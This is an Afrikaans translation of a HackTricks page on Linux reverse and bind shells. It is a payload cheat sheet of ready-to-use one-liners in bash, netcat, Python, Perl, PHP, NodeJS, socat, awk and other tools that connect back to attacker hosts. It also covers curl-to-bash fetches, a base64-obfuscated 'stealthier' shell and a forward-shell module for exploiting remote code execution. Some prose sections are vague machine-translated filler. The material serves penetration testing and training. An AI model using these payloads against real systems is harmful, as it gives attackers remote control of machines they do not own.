Shells - Linux

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Try Hard Security Group


As jy vrae het oor enige van hierdie skulpe, kan jy hulle nagaan met https://explainshell.com/

Volledige TTY

Sodra jy 'n omgekeerde skulp kry lees hierdie bladsy om 'n volledige TTY te verkry.

Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0

Simbool veilige dop

Moenie vergeet om te kontroleer met ander doppe: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, en bash.

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Skulverduideliking

  1. bash -i: Hierdie deel van die bevel begin 'n interaktiewe (-i) Bash-skul.

  2. >&: Hierdie deel van die bevel is 'n kort notasie vir die omleiding van beide standaard uitvoer (stdout) en standaard fout (stderr) na dieselfde bestemming.

  3. /dev/tcp/<AANVALLER-IP>/<POORT>: Dit is 'n spesiale lêer wat 'n TCP-verbinding met die gespesifiseerde IP-adres en poort voorstel.

  • Deur die uitset- en foutstrome na hierdie lêer om te lei, stuur die bevel effektief die uitset van die interaktiewe skul-sessie na die aanvaller se masjien.

  1. 0>&1: Hierdie deel van die bevel lei standaard inset (stdin) om na dieselfde bestemming as standaard uitvoer (stdout).

Skep in lêer en voer uit

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Voorwaartse Skul

Wanneer daar 'n Remote Code Execution (RCE) kwesbaarheid binne 'n Linux-gebaseerde webtoepassing hanteer word, kan die bereiking van 'n omgekeerde skul belemmer word deur netwerkverdedigings soos iptables-reëls of ingewikkelde pakketfilteringsmeganismes. In sulke beperkte omgewings behels 'n alternatiewe benadering die vestiging van 'n PTY (Pseudo Terminal) skul om meer doeltreffend met die gekompromitteerde stelsel te kan interaksieer.

'n Aanbevole instrument vir hierdie doel is toboggan, wat die interaksie met die teikenumgewing vereenvoudig.

Om toboggan doeltreffend te benut, skep 'n Python-module wat toegespits is op die RCE-konteks van jou teikenstelsel. Byvoorbeeld, 'n module genaamd nix.py kan as volg gestruktureer word:

import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)

response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)

# Check if the request was successful
response.raise_for_status()

return response.text

En dan kan jy hardloop:

toboggan -m nix.py -i

Om direk 'n interaktiewe dop te benut. Jy kan -b byvoeg vir Burpsuite-integrasie en die -i verwyder vir 'n meer basiese rce-omslag.

'n Ander moontlikheid is om die IppSec forward shell-implementering te gebruik https://github.com/IppSec/forward-shell.

Jy hoef net te wysig:

  • Die URL van die kwesbare gasheer

  • Die voorvoegsel en agtervoegsel van jou lading (indien enige)

  • Die manier waarop die lading gestuur word (koppe? data? ekstra inligting?)

Daarna kan jy net bevele stuur of selfs die upgrade bevel gebruik om 'n volledige PTY te kry (let daarop dat pype met 'n benaderde vertraging van 1.3s gelees en geskryf word).

Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

gsocket

Kyk dit na by https://www.gsocket.io/deploy/

bash -c "$(curl -fsSL gsocket.io/x)"

Telnet

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Wie is

Aanvaller

while true; do nc -l <port>; done

Om die bevel te stuur, skryf dit neer, druk enter en druk CTRL+D (om STDIN te stop)

Slagoffer

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

Python

#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Perl

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Afrikaans Translation

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

Java

Java is 'n programmeertaal wat algemeen gebruik word vir die ontwikkeling van programme en toepassings wat op verskeie platforms kan hardloop. Dit is 'n objek-georiënteerde taal wat baie gewild is vir die ontwikkeling van groot sagtewareprojekte. Java-kode word gewoonlik in platte tekst lêers geskryf met die .java lêeruitbreiding. Die kode word dan deur 'n Java-kompilator vertaal na masjienkode wat deur 'n Java virtuele masjien (JVM) uitgevoer kan word.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ncat

victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Lua

Inleiding

Lua is 'n kragtige, effektiewe, klein, en aanpasbare skriptaal wat dikwels gebruik word in die wêreld van sagteware-ontwikkeling. Dit word dikwels gebruik vir die skryf van skripte, konfigurasie, en selfs vir die ontwikkeling van volwaardige sagteware-toepassings. Lua is bekend vir sy vinnige uitvoering en klein geheue-afdruk, wat dit 'n gewilde keuse maak vir verskeie toepassings.

Lua Skulpaal

Lua-skulpaal is 'n kragtige tegniek wat gebruik word om Lua-skripte uit te voer binne 'n ander program of toepassing. Dit bied die vermoë om dinamies Lua-kode te laai en uit te voer tydens die uitvoering van 'n program. Hierdie tegniek is baie nuttig vir die aanpassing en uitbreiding van sagteware sonder om die bronkode te wysig.

Lua Skulpaal in Linux

In Linux-omgewings kan Lua-skulpaal gebruik word om sagteware aan te pas, sagteware-uitbreidings te skep, en selfs om sagteware te manipuleer vir spesifieke doeleindes. Dit bied 'n kragtige manier om die funksionaliteit van sagteware uit te brei sonder om die oorspronklike bronkode te wysig. Met Lua-skulpaal kan gebruikers sagteware aanpas en verbeter sonder om diep in die sagteware se interne werking in te gryp.

Lua Skulpaal Vir Hacking

Vir hackers kan Lua-skulpaal 'n nuttige tegniek wees om sagteware te manipuleer vir hul eie doeleindes. Deur Lua-skripte te gebruik, kan hackers sagteware aanpas, funksionaliteit uitbrei, en selfs nuwe funksies byvoeg sonder om die oorspronklike bronkode te wysig. Hierdie maak dit moontlik vir hackers om sagteware aan te pas vir spioenasie, datakaping, en selfs vir die uitvoering van skadelike aksies sonder om opgespoor te word.

#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

OpenSSL

Die Aanvaller (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Die Slagoffer

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Socat

https://github.com/andrew-d/static-binaries

Bind skul

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Omgekeerde dop

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Awk

Awk is 'n kragtige patroonherkenningstaal wat dikwels gebruik word vir die manipulasie van data en die skep van rapporte. Dit kan ook gebruik word as 'n skulpskakel in Linux om data te verwerk en te manipuleer.

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Vinger

Aanvaller

while true; do nc -l 79; done

Om die bevel te stuur, skryf dit neer, druk enter en druk CTRL+D (om STDIN te stop)

Slagoffer

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

Gawk is 'n kragtige patroonvergelyking en verwerkingsprogram wat dikwels gebruik word vir data-manipulasie en tekstverwerking.

#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

Xterm

Dit sal probeer om met jou stelsel te verbind by poort 6001:

xterm -display 10.0.0.1:1

Om die omgekeerde dop te vang, kan jy gebruik (wat sal luister op poort 6001):

# Authorize host
xhost +targetip
# Listen
Xnest :1

Groovy

deur frohoff NOTA: Java omgekeerde dop werk ook vir Groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Verwysings

Try Hard Security Group

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated